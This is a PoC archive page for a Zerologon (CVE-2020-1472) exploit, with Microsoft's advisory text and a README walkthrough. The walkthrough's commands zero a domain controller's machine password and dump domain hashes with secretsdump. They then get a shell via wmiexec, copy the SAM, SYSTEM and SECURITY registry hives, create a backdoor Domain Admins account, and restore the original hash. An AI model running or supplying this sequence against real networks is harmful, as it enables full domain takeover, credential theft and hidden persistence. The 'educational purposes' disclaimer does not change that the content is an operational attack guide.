Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2020-1472 PoC — Netlogon Elevation of Privilege Vulnerability

Source
Associated Vulnerability
Title:Netlogon Elevation of Privilege Vulnerability (CVE-2020-1472)
Description:An elevation of privilege vulnerability exists when an attacker establishes a vulnerable Netlogon secure channel connection to a domain controller, using the Netlogon Remote Protocol (MS-NRPC). An attacker who successfully exploited the vulnerability could run a specially crafted application on a device on the network. To exploit the vulnerability, an unauthenticated attacker would be required to use MS-NRPC to connect to a domain controller to obtain domain administrator access. Microsoft is addressing the vulnerability in a phased two-part rollout. These updates address the vulnerability by modifying how Netlogon handles the usage of Netlogon secure channels. For guidelines on how to manage the changes required for this vulnerability and more information on the phased rollout, see How to manage the changes in Netlogon secure channel connections associated with CVE-2020-1472 (updated September 28, 2020). When the second phase of Windows updates become available in Q1 2021, customers will be notified via a revision to this security vulnerability. If you wish to be notified when these updates are released, we recommend that you register for the security notifications mailer to be alerted of content changes to this advisory. See Microsoft Technical Security Notifications.
Description
zerologon script to exploit CVE-2020-1472 CVSS 10/10
Readme
# zerologon
zerologon script to exploit CVE-2020-1472 CVSS 10/10
Exploit code based on https://www.secura.com/blog/zero-logon and https://github.com/SecuraBV/CVE-2020-1472. Original research and scanner by Secura, modifications by RiskSense Inc. https://github.com/risksense/zerologon

To exploit, clear out any previous Impacket installs you have and install Impacket from https://github.com/SecureAuthCorp/impacket/commit/b867b21 or newer.

`apt update  `

`apt remove --purge impacket-scripts python3-impacket   `
`apt autoremove  `

`git clone https://github.com/rthalley/dnspython.git   `
`sudo python3 setup.py install  `
`cd ..  `
`git clone https://github.com/SecureAuthCorp/impacket.git  `
`cd impacket  `
`sudo python3 setup.py install  `
`git clone  `

Then, do:

`python3 set_empty_pw DC_NETBIOS_NAME DC_IP_ADDR`

If that's successful you will then be able to:

`sudo secretsdump.py -just-dc domain/hostname\$@ip`

pressing "Enter" on prompt for password will pass you through,
which should get you Domain Admin hash. After you have that, wmiexec.py to the target DC with a credential from the secretsdump 

`wmiexec.py domain/Administrator@ip -hashes hash`

and do

`reg save HKLM\SYSTEM system.save`   
`get system.save`  
`del /f system.save`  


`reg save HKLM\SAM sam.save`  
`get sam.save`  
`del /f sam.save`  


`reg save HKLM\SECURITY security.save`  
`get security.save`  
`del /f security.save`  

And then you can create a new Admin account just in case, 

`net user myadmin Hello1234 /ADD /DOMAIN`

and add the new account to domain admins group to obtain full privilages,

`net group "Domain Admins" myadmin /ADD /DOMAIN`

and probably `exit` now from C:\>

Then you can run

`sudo secretsdump.py -sam sam.save -system system.save -security security.save LOCAL`

And that should show you the original NT hash of the machine account. You can then re-install that original machine account hash to the domain by

`python3 reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_ADDR ORIG_NT_HASH`

Reinstalling the original hash is necessary for the DC to continue operating normally.

And just to make sure if the restoration process worked,

`sudo secretsdump.py -just-dc domain/hostname\$@ip`

and prressing "Enter" at password prompt won't work anymore.

And we're done here.

Happy hunting.

DISCLAIMER: This is purely for educational purposes, I will not be held responsible for any actions or their consequences
HACKING INTO SOMEONE ELSE'S DEVICE IS ILLEGAL AND IS PUNISHABLE BY LAW.
File Snapshot

[4.0K] /data/pocs/eda8eb10c83b33adc263bc2879edab67ce22111f ├── [1.0K] LICENSE ├── [2.4K] README.md ├── [6.4K] reinstall_original_pw.py ├── [ 348] requirements.txt └── [5.7K] set_empty_pw.py 0 directories, 5 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →